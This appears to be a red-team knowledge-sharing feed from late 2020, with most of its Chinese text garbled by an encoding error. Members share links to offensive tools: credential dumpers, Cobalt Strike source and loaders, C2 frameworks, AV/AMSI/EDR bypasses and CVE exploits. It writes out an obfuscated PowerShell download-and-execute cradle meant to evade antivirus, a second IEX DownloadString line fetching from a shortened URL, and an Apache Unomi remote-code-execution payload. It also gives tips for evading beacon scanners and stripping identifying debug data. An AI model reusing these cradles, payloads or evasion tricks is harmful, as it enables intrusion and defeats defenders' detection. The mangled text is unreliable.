lengyi: Peatudio
lengyi: pestudio
᤼ᤓߵ: okok҅ᨀᨀ
Wing: ஙྍጱړຉտӤփހ
lengyi: ӧႴ༩̶҅
᤼ᤓߵ: ఽᥧঅ؟տ̶̶
Wing: ᮎአྷஙྍ̶

C᧍᥺-ᦏဳفᬰᤈکବ

C᧍᥺-ᦏဳفᬰᤈکବ+-+᤼ᤓߵጱੜ੻

RWXHunter਍ԟᦕ୯

C᧍᥺-ᦏဳفᬰᤈکବ

C᧍᥺-ᦏဳفᬰᤈکବ+-+᤼ᤓߵጱੜ੻

RWXHunter਍ԟᦕ୯

#ᕁᴚದૣ#  
ᄍᕞ׵ڹӞݣෛኪᚏ҅ᵱᥝՋԍӳᥜᕹӞਂࣁecs҅ݝᥝࣁڦኪᚏӤԤਞධڋᬦᑕӾ᭬کጱӳᥜ҅Ӥᕚሲᬮฎྲ᫾֗ጱ҅զ݊᧔֦݄ᬳڦՈ3389ࠨጱ҅ੱᰁԞአecs̶
”ᕚࣁ“ࣁᚆ౯ժᛔ૩ጱኪᚏሿݢํ

ධᴠᄍᕞӾᴠਝොጱḾ঵۠

RedTeaming - 2020-10-17 

RedTeaming - 2020-10-17 

RedTeaming - 2020-10-17 

http://8sec.cc/index.php/archives/432/
http://8sec.cc/index.php/archives/432/
https://mp.weixin.qq.com/s/4JNNxQOHyhtbxaRrCSApGQ


᤼ᤓߵ: ๐ڦۓԤਞ҅ӧ౜ᬩᖌ੪܉ӡڦԤᤰӳᥜ̶chmod777 ԞڦԤᕳ [ၞ࿪]
Wing: ဌဩᴠ 0day
᤼ᤓ0 :ߵday ݄಑ӻშრጱ ग़֟ԧ

૵ؓժ᫷ࡌ

ૡٍ୏რ--ᬱᑕdump+lsassᬰᑕଚᬱᑕӤփ

᤼ᤓߵ: ஑਍ӥ syscall ฎࢧ޽Ԫԧ҅[඄ࢀ] ݄ଙනک todo کሿࣁ᮷ᬮဌ፡
lengyi: [඄ࢀ][඄ࢀ] ౯ࣁᎸᑪཞݻႽ᭐ᕰᬦ๤᫫ጱොဩ҅ॡᵙԧ̶̶

#Macૡٍ#  
Mac PD16
ᳳṺԣጱ
߶׎಑୏ጯଶᗑፏಋ๢App҅඙֢ๅොݸᬯྦྷٖ਻ګ॔
᱾ളғhttps://pan.baidu.com/s/1NazJEWWHYtmEG4_FkMBfOQ  
൉ݐᎱғ6uJ4

z3r0yu: ఽᥧ 16 አ᩸๶ᷚಈ޷޷ጱ֦҅ጱํᬯӻሿ᨝ހҘ

#ᕁᴚྎ۸࢏Ꮈݎ#  
GitHub+-+gitjdm/dumper2020:+Yet+another+LSASS+dump...

dumpertጱਠ҅࠺ᛔ૩ဳ఺ᖫᦲᕡᜓ̶

GitHub+-+gitjdm/dumper2020:+Yet+another+LSASS+dump...

#Mac#  
VmwareFusion12
ਠᗦᭇᯈMacOS BigSur
߶׎಑୏ጯଶᗑፏಋ๢App҅඙֢ๅොݸᬯྦྷٖ਻ګ॔
᱾ളғhttps://pan.baidu.com/s/1prJCTcZEoSyqlIfUREB0Eg  
൉ݐᎱғV17n --๶ᛔጯଶᗑፏ᩻ᕆտާV5ጱړՁ

#CSTips#  

GitHub+-+Gality369/CS-Loader:+CSع๤

RedTeaming - 2020-10-18 

RedTeaming - 2020-10-20 

RedTeaming - 2020-10-26 

RedTeaming - 2020-10-26 

RedTeaming - 2020-10-26 

RedTeaming - 2020-10-26 

https://mp.weixin.qq.com/s/xgQnKbz-43Dme56ta7eKjQ
https://pan.baidu.com/s/1NazJEWWHYtmEG4_FkMBfOQ
https://github.com/gitjdm/dumper2020
https://github.com/gitjdm/dumper2020
https://pan.baidu.com/s/1prJCTcZEoSyqlIfUREB0Eg
https://github.com/Gality369/CS-Loader


#ٖᗑႽ᭐ದૣ#  
Code execution via the Windows Update client (wuauclt)

Code+execution+via+the+Windows+Update+client+(wuau...

https://dtm.uk/wuauclt/


#ᏦᏦஷ#  
Githubے᭛ӥ᫹
GitHub+෈կے᭛

#क़ᗑႽ᭐ದૣ#  
ଉᥠጱच๜Ԟ੪ᬯԶԧ

፡ࢶᦩWAF-൤ᵞଉᥠWAFೝ౼ᶭᶎ

RBPi: ᨀᨀ Wing

RedTeaming - 2020-10-26 

RedTeaming - 2020-10-27 

RedTeaming - 2020-10-27 

https://curl.oeo.workers.dev/
https://mp.weixin.qq.com/s/ozOfOEnj6RrvX-KkfdcCQA


CrossC2 ᖀᖅๅෛԧ

#ဌࠨአጱTips#  
کአgithub actionᛔۖᓋڥ
T00LS+|+֗᧣࿢ݎ઀+-+ᄟஞԟਞق

#क़ᗑႽ᭐ದૣ#  
ᰒ੒ಷᗑཛྷୗ҅מ௳൤ᵞᦖጱ̶ߡ֖ک

ධᴠᄍᕞཛྷୗӥጱמ௳තᵞ--Fofaૡᑕ૵

#൉๦#  
Zero+Day+Initiative+—+CVE-2020-16939:+Windows+Grou...

https://github.com/rogue-kdc/CVE-2020-16939/

Wing: win10 ဌ౮̶̶ۑ

#ᄋ၏ڥአ#  

GitHub+-+RedTeamWing/CVE-2020-14882:+CVE-2020-1488...

#APTړຉಸޞ#  
ᗦՈṺ(Infy)APTᕟᕢጱ୭๶——ֵአ๋ෛጱFoudreݸᳪᬰᤈධڋၚۖጱړຉ
ᗦՈṺ(Infy)APTᕟᕢጱ୭๶——ֵአ๋ෛጱFoudreݸᳪᬰᤈධڋၚۖጱړຉ

Cs4რᎱ҅GitHub+-+Freakboy/CobaltStrike:+CobaltStrike's+sou...

ԧ 360 ೝ౼ powershell Ӥᕚᬯӻᳯ᷌҅ݸ๶ၥᦶӞӥݎሿᬮฎݢզᕰᬦጱ҅௏᪠ইӥֵ҅አग़ӻ - w normal ऴ꧌ֵ๋҅ݸአ alisa ݷڦๅද iex҅੪ݢզᕰᬦ 360 ԧ̶

Wing: ᄋԧҘ
lengyi: ᄋԧҘࠨ఺௏Ҙ
Wing: ᎨጱդᎱᬮঅ҅ᳩጱդᎱ੪உἋᅸ̶ᵱᥝᚕ๜̶
lengyi: ҅ࡧࡧ੪ݝ᧔ጱᮎӻ iex Ӥᕚ̶̶
Wing: ಒӻ demo
lengyi: ӞտӶ

RedTeaming - 2020-10-27 

RedTeaming - 2020-10-28 

RedTeaming - 2020-10-28 

RedTeaming - 2020-10-29 

RedTeaming - 2020-10-30 

RedTeaming - 2020-10-31 

RedTeaming - 2020-11-01 

https://www.t00ls.net/thread-58439-1-1.html
https://mp.weixin.qq.com/s/vXJ7Tmr1-xlgE0AwB8RxAA
https://www.thezdi.com/blog/2020/10/27/cve-2020-16939-windows-group-policy-dacl-overwrite-privilege-escalation
https://github.com/rogue-kdc/CVE-2020-16939/
https://github.com/RedTeamWing/CVE-2020-14882
https://mp.weixin.qq.com/s/SY1oZO9I0VBn1BXEQolWEw
https://github.com/Freakboy/CobaltStrike


powershell.exe-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormalset-alias-namekey-valueIEX;key(New-Object
Net.WebClient).DownloadString('ht‘+’tp://x.x.x.x/a')

lengyi: ᤑӤ҅ᦕ஑ᑮ໒̶ᔌᩂᬦ๶҅ᑮ໒੪ဌԧ

powershell.exe-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormalset-alias-namekey-valueIEX;key(New-Object
Net.WebClient).DownloadString('ht‘+’tp://x.x.x.x/a')

lengyi: ᤑӤ҅ᦕ஑ᑮ໒̶ᔌᩂᬦ๶҅ᑮ໒੪ဌԧ

#ᄋ၏೵യ#  

APPႽ᭐+ӕ+ਞܓཛྷ೙7.0࢏զӤጱಬ۱ොဩ

L: appಬӧ۱کጱᥴ٬ොဩғ[୮֦ٟᆻᡩಬӧکAPP᧗࿢۱ጱ෸ײᧆெԍېҘ̓Ӿᕆᓤ̈́+-+ᎣԒ](https://zhuanlan.zhihu.com/p/56397466)

RedTeaming - 2020-11-01 

CSTips
CROSSC2 ૪ᕪඪ೮ 4.1 ᇇ๜҅᪜ଘݣӤᕚጱᵱ࿢च๜ჿ᪃ԧٖ҅ᗝጱൊկᡱᆐࣁ౯ኪᚏဌ౮֕҅ۑฎඪ೮ ssh ޾
෈կӤփӥ᫹੪உঅԧ̶cs ੪ฎአ๶؉Ӟӻᓌܔጱ๦ᴴᖌ೮̶ 

RedTeaming - 2020-11-02 

RedTeaming - 2020-11-02 

RedTeaming - 2020-11-04 

RedTeaming - 2020-11-05 

CSTips
PEzor૪ᕪඪ೮ᵞ౮کCS᯾ᶎ,ፓڹᬮဌဩࣁMacӤአ,ݝᚆࣁKali᯾ᶎਞᤰ.ํԶׁᩢଫᧆฎLinuxӥᇙํጱ.

https://mp.weixin.qq.com/s/jx1IsQAiyaW1jZY8H6WvVg


#ᄋ၏೵യ#  
ํkey෫ᥴ
ԯӤႽ᭐-RDSහഝପධᴠ
ԯӤႽ᭐-RDSහഝପධᴠ+-+ضᎣᐒ܄

CoolCat: ਫᴬӤํ asak ԏํ҅ݸӧ᥶ݎᦄޞӧᵱᥝੂᎱ੪ᚆ shell ๢࢏๜᫝ጱဩৼ҅ਫ౴᭬کᬦ҅ԞํՈل୏ٟᬦ

#ဌࠨአጱTips#  
Ӟ෈ᓌܔՕᕨDevOps

DevOpsکବฎՋԍ఺௏Ҙ+-+ᎣԒ

#C2#  
ํ෸ᳵ൫ୌጱݶ਍ړՁӥֵአஞ஑҅಑ૡՈےရ̶
GitHub+-+MythicAgents/Apollo:+A+.NET+Framework+4.0...

#C2#  
SharpC2ਫḵړඪሿࣁᚆड़ྋଉֵአԧ҅ፓۑڹᚆཛྷࣘᬮྲ᫾੝̶

ᆐݸ੪ฎᖫᦲොᶎ҅ᵱᥝ.NET5҅ᬯ᯾ጱ.NET5ਞᤰᵱᥝဳ఺Ӟӻᅩ҅ਥᗑӥ᫹ጱᇇ๜஠ᶳᥝ֦޾ሿࣁಅֵአጱVSᇇ๜੒ଫ҅ӧᆐᦩڦӧ̶ک
ᖫᦲ౮҅ݸۑἕᦊӧ꧋ᦜአhttps҅ᵱᥝֵአdotnet୏҅ސᛔ૩ັӞӥ޸ե̶
ᦕ஑ᭌೠਫḵړඪ̶

#ᄋ၏ړຉ#  

ᄋ၏ړຉӕSaltStack๚ദ๦ᦢᳯ݊޸եಗᤈᄋ၏ړຉҁCVE-2020-16846/25592҂

#C2#  
Mythic
A cross-platform, post-exploit, red teaming framework designed to provide a collaborative and user friendly interface for operators.
link: https://docs.mythic-c2.net/

ภӤํ෸ᳵ౯ٚၥᦶӥපຎ,ఽي᪁ጱԞӞ᩸ሻӥ.

phra's+blog+~+Technical+posts+about+InfoSec  

RedTeaming - 2020-11-09 

RedTeaming - 2020-11-10 

RedTeaming - 2020-11-10 

RedTeaming - 2020-11-12 

RedTeaming - 2020-11-12 

RedTeaming - 2020-11-13 

https://xz.aliyun.com/t/8451
https://zhuanlan.zhihu.com/p/91371659
https://github.com/MythicAgents/Apollo
https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
https://docs.mythic-c2.net/
https://iwantmore.pizza/posts/PEzor2.html


#ᄋ၏ڥአ#  
ق

Thinkphp5+RCE௛ᕮ+–+Y4erጱܗਮ

#ٖᗑႽ᭐ૡٍ#  
ᐿୗ໏ጱGoᇇٖᗑಚൈૡٍݱ

GitHub+-+k8gege/LadonGo:+Ladon+Scanner+For+Golang+...
GitHub+-+shadow1ng/fscan
GitHub+-+uknowsec/TailorScan:+ᛔአᖲݳௗٖᗑಚൈ҅࢏ඪ೮ᒒݗಚൈ҅ᦩڦ...
GitHub+-+Adminisme/ServerScan:+ServerScanӞֵྃአGolan...

Anything else?

᤼ᤓߵ: c# ࿞ӧԅঁ

ZBN+SOARՕᕨ+·+᧍ᵚ

ෆቘၥᦶԧӞԶbypass Amsiጱಋဩ̶

#๤ع#  

bypassAMSI+Wd+-+᤼ᤓߵጱੜ੻

RedTeaming - 2020-11-13 

RedTeaming - 2020-11-14 

RedTeaming - 2020-11-16 

RedTeaming - 2020-11-18 

https://y4er.com/post/thinkphp5-rce/#method-__contruct%E5%AF%BC%E8%87%B4%E7%9A%84rce-%E5%90%84%E7%89%88%E6%9C%ACpayload
https://github.com/k8gege/LadonGo
https://github.com/shadow1ng/fscan
https://github.com/uknowsec/TailorScan
https://github.com/Adminisme/ServerScan
https://www.yuque.com/zbn/docs/ayilv9
http://8sec.cc/index.php/archives/439/


RainismG: ݢզ҅਍ԟԧ
᤼ᤓߵ: ᅩӻᩩᅩӻᩩᅩӻᩩ

አwindows+terminalᬰᤈ๦ᴴᖌ೮ڥ

Black cher*: ӧ඿አԧ [ঃᒞ]

#ᄋ၏ڥአ#  

#CVE-2020-13942 Apache Unomi Remote Code Execution

PoC:
{"filters":[{"id" : "pyn3rd","filters": [{"condition": {"parameterValues": {"pyn3rd": "script::Runtime.getRuntime().exec('open -a Calculator')"},"type":"profilePropertyCondition"}}]}],"sessionId": "pyn3rd"}

RedTeaming - 2020-11-18 

RedTeaming - 2020-11-19 

RedTeaming - 2020-11-19 

https://mp.weixin.qq.com/s/PaHdUV3omiFQt7qV5bnTzA


#ٖᗑႽ᭐ದૣ#  
hayaጱੜૡٍ҅360ਞقၨᥦ࢏ᥴੂ̶

GitHub+-+hayasec/360SafeBrowsergetpass:+ᬯฎӞӻӞᲫᬀۗಬݐ...

#ٖᗑႽ᭐ૡٍ#  
BloodHoundጱᓌกරᑕ

܄Ꭳᐒض+-+᪠ஆڋຉऒӾጱධړአBloodHoundڥ

ሐᇦ4.0ๅෛ

wikiғBloodHound:+Six+Degrees+of+Domain+Admin+—+BloodHou...
githubғRelease+BloodHound+4.0+-+Azurehound+·+BloodHoundAD...
youtubeғhttps://www.youtube.com/watch?v=tOwvyXGpVvo&ab_cha...

#๤ع#  #ᰜṺධڋ#  
office vba bypass av
ၥᦶ੒᨝:ᩦᳪ+360

RedTeaming - 2020-11-20 

RedTeaming - 2020-11-21 

RedTeaming - 2020-11-21 

https://github.com/hayasec/360SafeBrowsergetpass
https://xz.aliyun.com/t/7311
https://bloodhound.readthedocs.io/en/latest/
https://github.com/BloodHoundAD/BloodHound/releases/tag/4.0.0
https://www.youtube.com/watch?v=tOwvyXGpVvo&ab_channel=robbinsandy


Wing: [Purgalicious+VBA:+Macro+Obfuscation+With+VBA+Purgi...](https://www.fireeye.com/blog/threat-research/2020/11/purgalicious-vba-macro-obfuscation-with-vba-purging.htm
l)<br>य़ਹఽي᪁ጱݢզၥᦶӞӥ,ํᳯ᷌ጱ੪hand up!

#ဌࠨአጱTips#  
C#̵.NET Framework̵CLRጱىᔮ

C#̵.NET+Framework̵CLRጱىᔮ_۲۲ᮎଙ-CSDNܗਮ

#ဌࠨአጱTips#  
C#̵.NET Framework̵CLRጱىᔮ

C#̵.NET+Framework̵CLRጱىᔮ_۲۲ᮎଙ-CSDNܗਮ

#๤ع#  #ٖᗑႽ᭐ದૣ#  

Shellcode+Runner+Bypass+AV

Wing: ᵋᖭๅෛ҅๙஑෸ᳵ̶

#ٖᗑႽ᭐ದૣ#  
አጱ෸࣎ࣈײഘ౮ٖࢵጱ

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(' http://bit.ly/2K75g15')" ")

GitHub+-+HanseSecure/credgrap_ie_edge:+Extract+sto...

RedTeaming - 2020-11-21 

RedTeaming - 2020-11-21 

RedTeaming - 2020-11-21 

RedTeaming - 2020-11-21 

https://blog.csdn.net/lidandan2016/article/details/77868043
https://blog.csdn.net/lidandan2016/article/details/77868043
https://mp.weixin.qq.com/s/Hiq0lQVJ7KEiX3yc0TkdaA
http://bit.ly/2K75g15'
https://github.com/HanseSecure/credgrap_ie_edge


#C2#  
Ӥེ᧔ጱC2 Mythic,ฌภ֛ḵԧӞӥ.
᪜ଘݣC2-Mythicӧกᥧܳරᑕ

Black cher*: ᇍ᭧

#ਞق୏ݎ#  
ӞղCጱapi෈໩ݎ

Wing: ӧঅ਍҅ӧཻࡅ.Too long
᤼ᤓߵ: ؇ӧ፡҅ํᵱᥝሿጯଶ [෺ຸ]
Chickensay: ੪ӧ፡ߢߢߢ

#ဌࠨአጱTips?#  

፥ጱฎᇍ᭧,Ӟ೗ᥴ٬ᴨ᯾ԯٖࢵECS git clone ౌጱᳯ᷌

RedTeaming - 2020-11-22 

RedTeaming - 2020-11-22 

RedTeaming - 2020-11-22 

https://mp.weixin.qq.com/s?__biz=MzUyMDgzMDMyMg==&mid=2247483957&idx=1&sn=c95fd190bed241ec0541131922670496&chksm=f9e52e28ce92a73e2a7eedf83357dfe88bfe435586871c409492d15ec6ea61bd0c5face4ea06&scene=0&xtrack=1#rd


vim /etc/ssh/ssh_config

: / GSSAPIAuthentication no

ဳ᯽ധᬯӞᤈ,᭛ଶ᩸ᷢ.

ࠡ౯ᜎ,౯ԏڹӞፗአᕬਧhostsጱොဩ,ᐟḘሻ఺.

Wing: ԏྯڹᑁ 3k……
RBPi: ౯ԏڹӞፗ᮷ฎ೯ԧդቘ clone

CobaltStrikeScan ᬯӻӳӳ҅Ԟ੪ฎݢզಚൈ cs ጱ beacon ጱӳᥜ҅ྋঅ፡ک Wbglil ૵ؓݎԧᕰᬦጱොဩ҅੪ړՁӞӥ҅ਖ਼ profile ጱ set cleanup "true"; ੪ݢզᕰᬦ݄ԧ̶ᶲ׎᧔Ӟӥ CobaltStrike ጱ execute-assembly, ᴻԧ a-team จቖݎጱտ៧ࣈ෈կ
༄ၥԏक़҅ETW ԞฎӞӻஉঅጱ༄ၥጱᅩ҅ݢզ patch ധᕰᬦ҅clr.dll Ԟݢզ֢ԅԆᥝ༄ၥጱᅩ҅Ԟํԧ୏რૡٍ҅ݢզᬰᤈٖਂጱ dump҅ݞਁݷ Sniper, ӧᬦ๜Ոӧ౜ c#҅አԧӞӥఽᥧଚӧெԍ໏҅ኸࣗ

RedTeaming - 2020-11-23 



#๤ع#  #ਞق୏ݎ#  

ၥᦶԧӞӻᒫӣොପ,೭๶੪አ.
.NET3.5ᇇ๜޾.NET4.0ᇇ๜

֕ฎڟአဌग़ԋ੪ᤩԯັ๤ԧ,360ํᅩሕ.

.क़,വគӻପ,Fody,ฎӻঅӳᥜݚ

https://github.com/cobbr/SharpSploit/blob/master/S...

#๤ع#  #ਞق୏ݎ#  
Offensive Nim
Nimۗ׵Mingwᬰᤈ᪜ଘݣᖫᦲ

#ٖᗑႽ᭐ದૣ#  
᭗ᬦሒሢ໘ဳفᓕቘާhashጭ୯3389

ධ3389ڋԏPTH

#ဌࠨአጱTips?#  
Ӟޮದ๞࿤௛
New macOS C2 (@cedowens), Nim implant (@NotoriousRebel1), x64 AMSI bypass in VBA (@rd_pentest), VBA purging tool (@h4wkst3r/@AndrewOliveau), macOS privesc via MS Teams (@theevilbit), Kali tool developer partnership
(@kalilinux/@byt3bl33d3r), and more!

RedTeaming - 2020-11-23 

RedTeaming - 2020-11-24 

RedTeaming - 2020-11-25 

RedTeaming - 2020-11-26 

https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/SharpSploit%20-%20Quick%20Command%20Reference.md
https://mp.weixin.qq.com/s/mVSc5geSYwncpOda1OT-0g


๶რ
Last+Week+in+Security+(LWiS)+-+2020-11-23+|+Bad+Se...

#ਞق୏ݎ#  
SharpGenڥአړຉ
SharpGenڥአړຉ+–+3gstudent+–+Good+in+study,+attitude...

#ਞق୏ݎ#  #ᛔۖ۸#  
RengineฎӞӻᛔۖ۸ଘݣ,౯ԏڹአᬦ,୮෸ۑᚆྲ᫾੝,ݸᶎ౯੪ᛔ૩ٟԧ,ݢզ֢ԅ݇ᘍ୏ݚ̶ݎक़੪ฎଫᧆӧඪ೮ړ૲ୗಚൈ,֕ฎ໐ஞጱ୚කݢզ೭ڊ๶አ,զ݊ڹᒒጱUIጱۑᚆᕡᜓݢզ֢ԅӞӻ݇ᘍ̶ཻᬨԻၞ̶

GitHub+-+yogeshojha/rengine:+reNgine+is+an+automat...

RedTeaming - 2020-11-26 

RedTeaming - 2020-11-30 

https://blog.badsectorlabs.com/last-week-in-security-lwis-2020-11-23.html
https://3gstudent.github.io/3gstudent.github.io/SharpGen%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/
https://github.com/yogeshojha/rengine


#๤ع#  #ᕁᴚྎ۸࢏Ꮈݎ#  #ԫᬰګਞق#  
จቖ຤֖ࡱ਽ጱ֢ߝ,౜ጱ᮷౜̶

GitHub+-+knownsec/shellcodeloader:+shellcodeloader

.m0ngo0nse: ཻᬨ start᭬҅ک bug ౲ᘏํෛጱے᫹ොୗమړՁ؉౮ཛྷ຃ཻᬨ൉ issue̶ෛጱཛྷ຃౯տๅෛک dev ړඪ҅Ԇړඪ॔ץ bug̶

RedTeaming - 2020-12-01 

https://github.com/knownsec/shellcodeloader


#ᡵڻൊկ#  
As-Exploits: ӾࢵᡵݸڻႽ᭐໛ຝ
ේ೉ٖਂḘᬳളᳯ᷌ߵ॔ץ .1
2. ෛीaboutཛྷࣘ҅ᴫӤᇇ๜ๅෛ෭ப
୏რ+෈໩ғ
GitHub+-+yzddmr6/As-Exploits:+ӾࢵᡵݸڻႽ᭐໛ຝ
As-Exploits:+ӾࢵᡵݸڻႽ᭐໛ຝ+|+yzddMr6's+Blog

#ٖᗑႽ᭐ૡٍ#  
ᚆ̶ۑඪ೮ಢᰁdump҅winrmཛྷࣘඪ೮᫾ग़҅ݻአntlm hashཞڥ​

GitHub+-+cube0x0/SharpMapExec

ᵋٟٟ׎

ֵአReflectiveDLLInjectionྎᤰ֦ጱCobaltStrike  #ᕁᴚྎ۸࢏Ꮈݎ#

RedTeaming - 2020-12-01 

RedTeaming - 2020-12-02 

RedTeaming - 2020-12-02 

RedTeaming - 2020-12-02 

https://github.com/yzddmr6/As-Exploits
https://yzddmr6.tk/posts/as-exploits/
https://github.com/cube0x0/SharpMapExec
https://mp.weixin.qq.com/s/-Inh6uWV9YCz0zQYfitceA


#ᕁᴚದૣ#  

ԭCobaltStrikeጱStagerᤩಚᳯ᷌ى

#चᏐᦡෞ#  
WindowsӥԞํӞᲫਞᤰ᫫կጱ҅አcinst̶

Linux ሾह᮱ᗟᚕ๜҅ӞᲫᯈᗝᔮᕹᦡᗝ҅ਞᤰଉአૡٍ/୏ݎሾह/Ⴝ᭐ၥᦶૡٍ

init.sh/init.sh+at+main+·+al0ne/init.sh+·+GitHub

z3r0yu: ܻ๶ฎ Chocolatey ਍ԟԧ

#ᕁᴚದૣ#  
ԭstagerᤩಚጱෛᥴ٬ොဩ Bypass+cobaltstrike+beacon+config+scanى

#ᕁᴚದૣ#  
ԭstagerᤩಚጱෛᥴ٬ොဩ Bypass+cobaltstrike+beacon+config+scanى

#ᄋ၏ڥአ#  
ጱᄋ၏ପݎڹक़ᬮํ෎᨝ಷᗑԏݚ

ᕁᴚӾฃᤩධڋጱӞԶ᯿ᅩᔮᕹᄋ၏ෆቘ

#ᄋ၏ڥአ#  

2020ධᴠᄍᕞ୨យପ-఍ํԆ๢Ӥᕚ᧗ဳ఺+-+෎᨝ᚆێӾஞ

#ᄋ၏ړຉ#  

Apache+Shiro+<1.2.4ݍଧړ۸ڜຉ

#ᕁᴚᕁᕚ#  
݄ധpdb᧣ᦶמ௳
ӧӞਧق᮱݄ധԧ,౯๜ࣈgrepဌݎሿ౯ጱአಁݷ
dotnet build /p:DebugType=None /p:DebugSymbols=false

RedTeaming - 2020-12-03 

RedTeaming - 2020-12-05 

RedTeaming - 2020-12-05 

RedTeaming - 2020-12-06 

RedTeaming - 2020-12-06 

RedTeaming - 2020-12-06 

RedTeaming - 2020-12-06 

https://mp.weixin.qq.com/s/hz9lZidZXgbPrkI32pCdVQ
https://github.com/al0ne/init.sh/blob/main/init.sh
https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw
https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw
https://mp.weixin.qq.com/s/6I-Yp0A69rLr3RfruIAkhA
https://blog.riskivy.com/2020%e6%94%bb%e9%98%b2%e6%bc%94%e7%bb%83%e5%bc%b9%e8%8d%af%e5%ba%93-%e6%82%a8%e6%9c%89%e4%b8%bb%e6%9c%ba%e4%b8%8a%e7%ba%bf%e8%af%b7%e6%b3%a8%e6%84%8f/?from=timeline&isappinstalled=0
https://mp.weixin.qq.com/s/ayZKDVnN7zEbKjo5w8uqxQ


#๤ع#  
API Hashingದ๞ҁํᲙ᧏ጱᦾࣁӥᶎᤑ꧌Ӟӥ҂
api੒ଫጱHash꧊,զCreateThreadԅֺڊᦇᓒض .1
2. ٚ᭗ᬦgetHashFromStringݻݍ஑࣎ࣈک
3. ᛔਧԎӞӻڍහ೰ݻᬯӻhashᥴຉ஑کጱᡦ೙࣎ࣈ
4. ᧣አᛔਧԎڍහ,ਫሿፘݶපຎ̶
IATਫሿԧᵌᡐ̶ࣁ .5

https://www.ired.team/offensive-security/defense-e...

᤼ᤓߵ: ᡦ೙๢࣎ࣈդ๊ڍහ҅ݷ
᤼ᤓߵ: ெԍ಑ԧӻ๢̶̶̶
lengyi: X86 ౮҅ۑx64 ०ᨳ

#C2#  

RedTeaming - 2020-12-07 

RedTeaming - 2020-12-07 

https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware


૱ᶎӤၞᤈጱC2ᵞݳ

Ask+The+C2+Matrix

#BypassAV#  
Bypass EDR Hook
ֵአCsharpਫሿۖாᦩڦEDR Hook
ٍ֛ғ
ਫሿӞӻstaging๐࢏ۓ,ᨮᨱଧݍ޾۸ڜଧ۸ڜ

̶࢏ۓᭆᕳ๐ݎHook෸,ਖ਼ᕮຎکڦፓຽӤᦩࣁ 1
2 ๐ݍ࢏ۓଧ۸ڜහഝ,चԭsyscallኞ౮ӞྦྷդᎱ,ۖாᖫᦲ,ଧݎݸ۸ڜᭆᕳፓຽ̶
3. ፓຽളතࣁ,ݸ੒ଫጱᬰᑕӾಗᤈ
C2ਫሿԻ԰̶޾ .4

ᬯ໏ጱঅ॒ฎ෬ਫሿԧۖாᦩڦ,Ԟᚆड़᭿ֵعአེහग़զݸᤩᶉாັ๤̶

Wing: [https://posts.specterops.io/adventures-in-dynamic-...](https://posts.specterops.io/adventures-in-dynamic-evasion-1fe0bac57aa)

#ٖᗑႽ᭐ದૣ#  
አRdp๐᩸ۓӞӻs5դቘ,֢ԅݸᳪ౲ᘏአࣁཞݻӤꂁঅ̶

GitHub+-+nccgroup/SocksOverRDP:+Socks5/4/4a+Proxy+...

-: ፥ӧᲙํ๢տᦶᦶ

ᅉ፲ྎ࢏ପᤩՈ؎ԧ,൥ਞقጱॡᵙԧ̶
ᙂ፲හԧӞӥ,50+ጱૡ̶ٍ

GitHub+-+fireeye/red_team_tool_countermeasures

RedTeaming - 2020-12-08 

RedTeaming - 2020-12-08 

RedTeaming - 2020-12-09 

http://ask.thec2matrix.com/
https://github.com/nccgroup/SocksOverRDP
https://github.com/fireeye/red_team_tool_countermeasures






z3r0yu: మᎣ᭲Ջԍ෸ײտအᶂڊ๶
H01k: github ᬯӻฎအᶂጱૡٍࡶҘ
Wing: ݝฎૡٍ܃ᯈጱ yara ᥢ̶ڞ

RedTeaming - 2020-12-10 



ᅉ፲အᄋԧஉग़ૡٌٍ҅ӾӧԓӞԶ୏რૡٍጱԫ୏ᇇ๜҅ᬯ᯾ෆቘԧپӻݢզತ஑کጱ҅࣎ࣈ૶๕ํአމғ

GitHub+-+IllidanS4/SharpUtils:+Various+tools+and+h...
GitHub+-+med0x2e/NoAmci:+Using+DInvoke+to+patch+AM...
GitHub+-+fireeye/DueDLLigence

॔ሿԧӞӥ

CVE-2020-17049+Kerberos+Bronze+Bit+ධ॔ڋሿ

Wing: ݢզ

#ᰜṺධڋ#  #෫ᕚਞق#  
ӥ܌੤ᦶԧӞӥ,ᬮ૧ᅩӳᥜ̶

802.11෫ᕚᗑᕶԏWPAմӱᇇਞقධᴠ

#ٖᗑႽ᭐ದૣ#  
MImikatzฎই֜ਫሿpthጱ
Inside+the+Mimikatz+Pass-the-Hash+Command+(Part+1)

#ᕁᴚದૣ#  
WiFi PineappleԏEvil Portal

ps:य़ះ៞ӧᭇݳմӱሾह.
WiFi+PineappleԏEvil+Portal

#C2#  
੤ᦶ୓Ӟӻ,ᵱᥝӞԶmipsሾह,goො׎Ӥᕚ̶

RedTeaming - 2020-12-11 

RedTeaming - 2020-12-11 

RedTeaming - 2020-12-12 

RedTeaming - 2020-12-12 

RedTeaming - 2020-12-12 

https://github.com/IllidanS4/SharpUtils
https://github.com/med0x2e/NoAmci
https://github.com/fireeye/DueDLLigence
https://mp.weixin.qq.com/s/By1Vjm-t4CxjUaTEV_ykVg
https://mp.weixin.qq.com/s/9P63zreVpdq0NChe0v5yKw
https://www.praetorian.com/blog/inside-mimikatz-part1
